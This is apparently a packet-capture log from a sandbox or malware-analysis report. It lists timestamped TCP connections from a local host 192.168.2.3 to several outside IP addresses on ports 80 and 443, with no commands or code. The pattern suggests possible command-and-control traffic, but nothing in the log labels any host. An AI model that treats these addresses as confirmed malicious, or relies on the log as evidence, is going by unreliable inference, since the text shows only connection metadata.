Feb 16, 2023 11:49:21.104970932 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.104984999 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.105006933 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.105009079 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.105057001 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.105062962 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.105104923 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.105109930 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.105139971 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.105171919 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.105178118 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.105199099 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.105206966 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.105242014 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.105243921 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.105262995 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.105284929 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.105287075 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.105335951 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.105336905 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.105381012 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.105391979 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.105415106 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.105420113 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.105447054 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.105479002 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.105509996 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.105532885 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.105540991 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.105532885 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.105532885 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.105572939 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.105606079 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.105624914 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.105624914 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.105624914 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.105638981 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.105660915 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.105673075 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.105691910 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.105717897 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.105760098 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.105767012 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.105783939 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.105813980 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.105823994 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.105849028 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.105880022 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.105880976 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.105905056 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.105937004 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.105941057 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.105968952 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.105983019 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.106000900 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.106008053 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.106029987 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.106050968 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.106067896 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.106101036 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.106110096 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.106137037 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.106170893 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.106179953 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.106199980 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.106205940 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.106241941 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.106272936 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.106234074 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.106303930 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.106327057 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.106328011 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.106328011 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.106337070 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.106367111 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.106369019 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.106400967 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.106431961 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.106447935 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.106447935 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.106448889 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.106463909 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.106496096 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.106496096 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.106519938 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.106528044 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.106559992 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.106570959 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.106570959 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.106595039 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.106597900 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.106627941 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.106645107 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.106673956 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.106679916 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.106731892 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.106761932 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.106806040 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.106816053 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.106848001 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.106897116 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.106909037 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.106931925 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.106959105 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.267798901 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.267894983 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.267949104 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.267997026 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.268003941 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.268054008 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.268059015 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.268088102 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.268109083 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.268126011 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.268153906 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.268181086 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.268207073 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.268213987 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.268265009 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.268266916 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.268317938 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.268317938 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.268373966 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.268388033 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.268426895 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.268431902 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.268487930 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.268491030 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.268546104 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.268548012 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.268595934 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.268608093 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.268651962 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.268662930 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.268707037 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.268743038 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.268789053 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.268798113 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.268850088 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.268871069 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.269053936 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:22.116653919 CET	49701	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:22.307843924 CET	80	49701	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:22.309583902 CET	49701	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:22.310028076 CET	49701	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:22.311294079 CET	49701	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:22.505816936 CET	80	49701	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:23.200639009 CET	80	49701	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:23.200683117 CET	80	49701	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:23.200867891 CET	49701	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:23.202898979 CET	49701	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:23.255027056 CET	49702	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:23.393352032 CET	80	49701	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:23.445748091 CET	80	49702	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:23.445847988 CET	49702	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:23.446255922 CET	49702	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:23.446322918 CET	49702	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:23.638159990 CET	80	49702	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:24.296039104 CET	80	49702	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:24.302069902 CET	80	49702	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:24.302191973 CET	49702	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:24.302308083 CET	49702	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:24.493882895 CET	80	49702	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:24.844258070 CET	49703	80	192.168.2.3	187.209.149.199
Feb 16, 2023 11:49:25.050900936 CET	80	49703	187.209.149.199	192.168.2.3
Feb 16, 2023 11:49:25.052959919 CET	49703	80	192.168.2.3	187.209.149.199
Feb 16, 2023 11:49:25.060962915 CET	49703	80	192.168.2.3	187.209.149.199
Feb 16, 2023 11:49:25.060964108 CET	49703	80	192.168.2.3	187.209.149.199
Feb 16, 2023 11:49:25.267647028 CET	80	49703	187.209.149.199	192.168.2.3
Feb 16, 2023 11:49:25.982264996 CET	80	49703	187.209.149.199	192.168.2.3
Feb 16, 2023 11:49:25.982296944 CET	80	49703	187.209.149.199	192.168.2.3
Feb 16, 2023 11:49:25.982482910 CET	49703	80	192.168.2.3	187.209.149.199
Feb 16, 2023 11:49:25.982613087 CET	49703	80	192.168.2.3	187.209.149.199
Feb 16, 2023 11:49:26.032922983 CET	49704	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:26.189095974 CET	80	49703	187.209.149.199	192.168.2.3
Feb 16, 2023 11:49:26.223046064 CET	80	49704	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:26.225145102 CET	49704	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:26.225572109 CET	49704	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:26.225621939 CET	49704	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:26.417314053 CET	80	49704	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:27.117360115 CET	80	49704	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:27.117408037 CET	80	49704	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:27.117783070 CET	49704	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:27.128907919 CET	49704	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:49:27.319025993 CET	80	49704	190.140.74.43	192.168.2.3
Feb 16, 2023 11:49:27.724303007 CET	49705	80	192.168.2.3	37.234.187.254
Feb 16, 2023 11:49:27.778862000 CET	80	49705	37.234.187.254	192.168.2.3
Feb 16, 2023 11:49:27.779103994 CET	49705	80	192.168.2.3	37.234.187.254
Feb 16, 2023 11:49:27.779519081 CET	49705	80	192.168.2.3	37.234.187.254
Feb 16, 2023 11:49:27.779558897 CET	49705	80	192.168.2.3	37.234.187.254
Feb 16, 2023 11:49:27.830221891 CET	80	49705	37.234.187.254	192.168.2.3
Feb 16, 2023 11:49:28.032346010 CET	80	49705	37.234.187.254	192.168.2.3
Feb 16, 2023 11:49:28.032386065 CET	80	49705	37.234.187.254	192.168.2.3
Feb 16, 2023 11:49:28.032495022 CET	49705	80	192.168.2.3	37.234.187.254
Feb 16, 2023 11:49:28.032547951 CET	49705	80	192.168.2.3	37.234.187.254
Feb 16, 2023 11:49:28.092205048 CET	80	49705	37.234.187.254	192.168.2.3
Feb 16, 2023 11:49:28.184670925 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:28.184709072 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:28.184778929 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:28.196626902 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:28.196672916 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:28.630228043 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:28.630390882 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:28.634908915 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:28.634933949 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:28.636043072 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:28.765305996 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:28.899807930 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:28.899843931 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.205122948 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.205173016 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.205195904 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.205221891 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.205244064 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.205256939 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.205408096 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.205427885 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.205502987 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.205661058 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.205674887 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.205734015 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.205744982 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.205777884 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.205789089 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.205815077 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.205914974 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.341454029 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.341531038 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.341579914 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.341613054 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.341650009 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.341674089 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.342143059 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.342210054 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.342231989 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.342256069 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.342283010 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.342298031 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.342873096 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.342945099 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.342997074 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.343024015 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.343048096 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.343069077 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.479187965 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.479269981 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.479363918 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.479407072 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.479427099 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.479456902 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.479564905 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.479629993 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.479657888 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.479681015 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.479703903 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.479721069 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.479852915 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.479902983 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.479944944 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.479968071 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.479990005 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.480016947 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.480041027 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.480096102 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.480282068 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.480299950 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.480360031 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.480765104 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.480829954 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.480896950 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.480915070 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.480937958 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.480981112 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.481631994 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.481686115 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.481801033 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.481801033 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.481827974 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.481901884 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.614892960 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.614933014 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.615155935 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.615186930 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.615277052 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.615461111 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.615492105 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.615612030 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.615629911 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.615689039 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.616199970 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.616234064 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.616312027 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.616329908 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.616358995 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.616383076 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.616868973 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.616899014 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.617005110 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.617005110 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.617022991 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.617079973 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.617623091 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.617651939 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.617749929 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.617767096 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.617822886 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.618289948 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.618318081 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.618412018 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.618431091 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.618460894 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.618484020 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.618966103 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.618997097 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.619124889 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.619142056 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.619221926 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.619221926 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.619561911 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.619594097 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.619678974 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.619702101 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.619729996 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.619757891 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.620146036 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.620174885 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.620233059 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.620245934 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.620266914 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.620294094 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.620663881 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.620696068 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.620779991 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.620798111 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.620873928 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.620873928 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.621350050 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.621381044 CET	443	49706	190.114.9.88	192.168.2.3
Feb 16, 2023 11:49:29.621459007 CET	49706	443	192.168.2.3	190.114.9.88
Feb 16, 2023 11:49:29.621479988 CET	443	49706	190.114.9.88	192.168.2.3
